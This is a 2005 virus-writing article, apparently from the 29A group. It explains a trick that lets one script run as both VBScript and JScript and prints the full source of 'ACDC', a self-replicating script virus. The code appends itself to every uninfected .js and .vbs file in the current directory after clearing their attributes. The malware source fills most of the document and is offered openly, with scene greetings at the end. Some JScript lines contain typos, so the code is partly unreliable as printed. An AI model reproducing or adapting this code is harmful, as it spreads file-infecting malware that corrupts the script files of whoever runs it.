Cross-scripting attacks
roy g biv
February 2005

Question: VBScript or JScript?
Answer: both

Question: VBScript or JScript?
I often wondered if it would be possible to create a single script that could run on both platforms, but until now I could not think of a way to identify the platform or to protect against compiling errors. It happens that there is an easy way to do both of these things, and I found it.
Answer: both
The way that I found is so simple that I am surprised at myself that I did not find it sooner. First, we use the fact that VBScript will treat the "rem" statement as a comment and skip the rest of the line, but JScript will treat it as a variable reference. Second, we use the fact that JScript supports block comments bounded by /* and */ and will ignore everything between them.
That's it. So VBScript starts with a "rem" comment, then becomes JScript code that begins by assigning a value to a variable called "rem", then the rest of the line is the rest of the JScript code. The line ends with the start of a block comment. The next line becomes the VBScript code which ends with another rem comment, which returns to JScript code, which ends the block comment. Let's see the code. The JScript must be a single line after the "rem=1;" but is reformatted here.

```
 rem=1;
/*ACDC - roy g biv 25/02/05*/
a=new ActiveXObject("scripting.filesystemobject")
b=a.opentextfile(WScript.scriptfullname).readall()
b=b.substr(b.search(c=/rem=1/))              //remove everything before our code
b=b.substr(0,b.lastendexOf("*/")+2)          //remove everything after our code
for(d=new Enumerator(a.getfolder(".").files);!d.atEnd();d.moveNext())
                                    //demo version, current directory only
{
  f=a.getextensionname(e=d.item()).toLowerCase()
  if(f=="js"||f=="vbs")try
  {
    f=a.getfile(e)
    g=a.attributes
    f.attributes=0
    if(a.opentextfile(e).readall().search(c)<0)a.opentextfile(e,8).write("\n"+b)
                                    //append ourselves if not infected already
    f.attributes=g
  }
  catch(z)
  {
  }
}
/*
 Next is VBScript code, which can be also single line if reformatted.

 on error resume next
set a=createobject("scripting.filesystemobject")
b=a.opentextfile(wscript.scriptfullname).readall
c="rem=1"
b=mid(b,instr(b,c))                    'remove everything before our code
b=left(b,instrrev(b,"*"+"/")+1)        'remove everything after our code
set d=a.getfolder(".")                 'demo version, current directory only
for each e in d.files
  f=lcase(a.getextensionname(e))
  if f="js"or f="vbs"then
    f=a.attributes
```

```
    a.attributes=0
    if instr(a.opentextfile(e).readall,c)=0then a.opentextfile(e,8).write vbcrlf+b
                                        'append ourselves if not infected already
    a.attributes=f
  end if
next
rem*/
```

Greets to friendly people (A-Z):
Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - The Gingerbread Man - Ultras - uNdErX - Vecna - VirusBuster - Whitehead

rgb/29A feb 2005
iam_rgb@hotmail.com